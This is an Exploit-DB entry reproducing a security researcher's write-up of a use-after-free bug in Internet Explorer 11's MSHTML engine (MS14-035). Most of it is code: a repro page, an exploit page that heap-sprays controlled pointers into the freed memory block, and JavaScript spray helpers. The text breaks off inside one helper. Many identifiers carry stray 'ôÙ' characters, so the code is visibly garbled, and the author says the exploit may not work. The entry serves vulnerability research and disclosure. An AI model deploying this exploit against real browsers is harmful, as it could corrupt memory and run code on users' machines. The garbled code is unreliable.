Exploit-DB #40946
Description: Microsoft Internet Explorer 11 - MSHTML CSplice­Tree­Engine::Remove­Splice Use-After-Free (MS14-035)
Type: dos
Platform: windows
Date: 2016-12-20
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.

Known affected software, attack vectors and potential mitigations

Microsoft Internet Explorer 11

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaôÙScript should prevent an attacker from triggering the vulnerable code path.

Details

This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoôÙEmbedôÙPointers and when you execute document.execôÙCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeôÙRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.

Repro.html:

<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11"> 
    <script type="text/javascript">
      document.addôÙEventôÙListener("DOMNodeôÙRemoved", function () {
        document.open(); // free
        // attempt to modify freed memory here
        // because it will be reused after this function returns.
      }, true);
      window.onload = function () {
        document.designôÙMode="on";
        document.execôÙCommand("SelectôÙAll");
        document.execôÙCommand("Delete"); // allocate
      };
    </script>
  </head>
  <body>
  </body>
</html>

Exploit

After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.

Sploit.html:
-->

<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11"> 
    <script src="côÙLFHSpray.js"></script>
    <script src="côÙBlockôÙSpray.js"></script>
    <script>
      var aauôÙCopiesôÙAndôÙSizes  = [
          [0x08, 0x80], 
          [0x08, 0x40], 
          [0x08, 0x20], 
          [0x10, 0x80]
      ];
      var uôÙBaseôÙAddress = 0x12340000;
      var aoôÙBlockôÙSprays = new Array(aauôÙCopiesôÙAndôÙSizes.length);
      for (var i = 0; i < aauôÙCopiesôÙAndôÙSizes.length; i++) {
        aoôÙBlockôÙSprays[i] = new côÙBlockôÙSpray(aauôÙCopiesôÙAndôÙSizes[i][0], aauôÙCopiesôÙAndôÙSizes[i][1]);
        aoôÙBlockôÙSprays[i].setôÙChunkôÙDWord(0x0100, uôÙBaseôÙAddress + 0x0300);
        aoôÙBlockôÙSprays[i].spray();
      }
      document.addôÙEventôÙListener("DOMNodeôÙRemoved", function () {
        document.open();
        var oôÙLFHReuse = new côÙLFHSpray(10, 0x28);
        oôÙLFHReuse.setôÙDWord(0x10, uôÙBaseôÙAddress + 0x0100);
        oôÙLFHReuse.setôÙDWord(0x14, uôÙBaseôÙAddress + 0x0200);
        oôÙLFHReuse.spray();
      }, true);
      window.onload = function () {
        document.designôÙMode="on";
        document.execôÙCommand("SelectôÙAll");
        document.execôÙCommand("Delete");
        document.designôÙMode="off";
      };
    </script>
  </head>
  <body>
  </body>
</html>

<!--
########################################################################

côÙLFHSpray.js:

function côÙLFHSpray(uôÙCount, uôÙSize) {
  this.aoôÙElements = new Array(uôÙCount);
  var auôÙSprayôÙChars = new Array(uôÙSize - 1 >> 1);
  for (var i = 0; i < auôÙSprayôÙChars.length; i++) {
    auôÙSprayôÙChars[i] = ((i & 0xôÙFF) * 0x202 + 0x100) & 0xôÙFFFF;
  }
  this.setôÙDWord = function(uôÙOffset, uôÙValue) {
    this.setôÙWord(uôÙOffset, uôÙValue & 0xôÙFFFF);
    this.setôÙWord(uôÙOffset + 2, uôÙValue >>> 16);
  }
  this.setôÙWord = function(uôÙOffset, uôÙValue) {
    this.setôÙByte(uôÙOffset, uôÙValue & 0xôÙFF);
    this.setôÙByte(uôÙOffset + 1, uôÙValue >>> 8);
  }
  this.setôÙByte = function(uôÙOffset, uôÙValue) {
    var uôÙCharôÙOffset = uôÙOffset >> 1;
    var uôÙByte0 = (uôÙOffset & 1 ? auôÙSprayôÙChars[uôÙCharôÙOffset] : uôÙValue) & 0xôÙFF;
    var uôÙByte1 = (uôÙOffset & 1 ? uôÙValue : (auôÙSprayôÙChars[uôÙCharôÙOffset] >> 8)) & 0xôÙFF;
    auôÙSprayôÙChars[uôÙCharôÙOffset] = uôÙByte0 + (uôÙByte1 << 8);
  }
  this.spray = function() {
    var sôÙSprayôÙBuffer = String.fromôÙCharôÙCode.apply(0, auôÙSprayôÙChars);
    for (var i = 0; i < uôÙCount; i++) {
      this.aoôÙElements[i] = document.createôÙElement("span"); // allocate 0x34 bytes
      this.aoôÙElements[i].classôÙName = sôÙSprayôÙBuffer; // allocate 0x10, uôÙSize and 0x40 bytes.
    }
  }
}

########################################################################

côÙBlockôÙSpray.js:

var côÙBlockôÙSpray = (function() {
  var uôÙChunkôÙSize = 0x10000;
  var uôÙBlockôÙHeaderôÙSize = 0x10;
  var uôÙBlockôÙFooterôÙSize = 0x04;
  var asôÙChunkôÙTemplate = new Array(uôÙChunkôÙSize / 2);
  for (var uôÙIndex = 0; uôÙIndex < asôÙChunkôÙTemplate.length; uôÙIndex += 2) {
    asôÙChunkôÙTemplate[uôÙIndex] = String.fromôÙCharôÙCode(uôÙIndex);
    asôÙChunkôÙTemplate[uôÙIndex + 1] = String.fromôÙCharôÙCode(0xôÙDEAD);
  }
  return function côÙBlockôÙSpray(uôÙBlockôÙCount, uôÙChunkôÙCount) {
    this.uôÙBlockôÙSize = uôÙChunkôÙCount * uôÙChunkôÙSize - uôÙBlockôÙHeaderôÙSize - uôÙBlockôÙFooterôÙSize;
    var sôÙChunk = asôÙChunkôÙTemplate.join("");
    var sôÙBlock, asôÙBlocks = new Array(uôÙBlockôÙCount);
    this.setôÙChunkôÙDWord = function (uôÙOffset, uôÙValue) {
      this.setôÙChunkôÙWord(uôÙOffset, uôÙValue & 0xôÙFFFF);
      this.setôÙChunkôÙWord(uôÙOffset + 2, (uôÙValue >> 16) & 0xôÙFFFF);
    }
    this.setôÙChu